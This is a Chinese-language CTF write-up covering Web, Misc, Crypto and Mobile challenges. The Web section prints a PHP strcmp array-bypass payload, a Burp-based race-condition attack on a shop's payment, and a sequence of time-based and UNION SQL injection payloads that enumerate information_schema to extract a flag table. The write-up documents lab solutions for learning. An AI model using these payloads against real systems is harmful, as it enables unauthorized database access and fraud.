现科第一届CTF-Web/Misc/Crypto/Mobile部分Write Up
Web
Easy Web
启动容器进去以后发现给出了代码
举例:
发现了Strcmp
<?php
$flag = "flag{xxxxx}";
if (isset($_GET['a'])) {
if (strcmp($_GET['a'], $flag) == 0) //如果 str1 小于 str2 返回 < 0; 如果 str1大于 str2返回 > 0;如果两者相等,返回 0。
//比较两个字符串(区分大小写)
die('Flag: '.$flag);
else
print 'No';
}
?>
解题思路:
strcmp漏洞
int strcmp ( string str1,stringstr2 )
str1是第一个字符串,str2是第二个字符串。如果 str1 小于 str2 返回 < 0; 如果 str1 大于 str2 返回 > 0;如果两者相等,返回 0。
但是如果我们传入非字符串类型的数据的时候,这个函数将发生错误,在5.3之前的php中,显示了报错的警告信息后,将return 0 ! 也就是虽然报了错,但却判定其相等了。
因此,解这道题,就只要传入一个非字符串类型的变量即可,一般情况下,我们我们传数组,所以payload为:?a[]=123
根据以上的思路
我们只需要在浏览器url加上
?password[]=
或者
?password[]=123
即可得到flag
Shop
条件竞争
首先我们用Bp抓包重置的包发送到 Intruder模块如图配置
然后在支付框输入12 抓12的包。如图配置
先启动重置的然后再启动12的即可
flag如图
不行就多来几次
成绩查询
先用睡眠判断是否存在sql注入。这个界面一看就是SQL注入
1' and sleep(5)#
发现的确延时了5秒钟。然后判断注入点回显
?id=-1' union select 1,2,3,4#
然后开始按照平常的SQL注入顺序来进行
查库
?id=-1' union select 1,group_concat(schema_name),3,4 from information_schema.schemata#
查表
?id=-1' union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema="web1"#
查列
?id=-1' union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name="fl4g"#
查数据
?id=-1' union select 1,flag,3,4 from fl4g,sc#
Misc
基础**
下载附件是个压缩包
直接用暴力**根据提示 4位数字得到压缩包密码解出 得到txt就是flag
多啦A梦
下载文件 是个JPG
用Kali binwalk一下是发现含有一个7z
直接改后缀名为.7z解压得到docx
众所周知docx可以是个压缩包
所以我们改为压缩包后缀
在第二个文件夹找到一张图 解压出来扫描得到flag
浪里淘沙
打开记事本发现一堆乱七八糟的字母
然后根据自己的英语水平零零散散的拼出了一些字母
然后这题是统计字频
由于不会写脚本。只能手动的用NotePad++来挨个替换 在替换的同时会告诉你替换了多少个
然后将这些英文单词根据从小到大排列 根据题目提示的4.8.11.14.15
来选出这些单词组合并加上flag{}即可
Crypto
Easy Crytpo
一开始直接维吉尼亚解出来的不对。看到大写字母想到会不会是凯撒密码位移了
然后就用了凯撒密码全部测了一遍 发现了ILOVEYOU非常显眼
然后去维吉尼亚密码里解但是还是不对解出来
然后将密文替换回原来的密文 而不是凯撒位移以后的密文就得到了flag
aes2333333
根据题目提示是AES加密
我们利用在线网址解密一下。猜测**匙txt名
然后将前面的替换一下。data:image/png;base64,
用在线网址转换成图片扫描得到flag
Mobile
money
启动APK月神改之理 导入APK安装包 在全局搜索的地方搜一下flag得到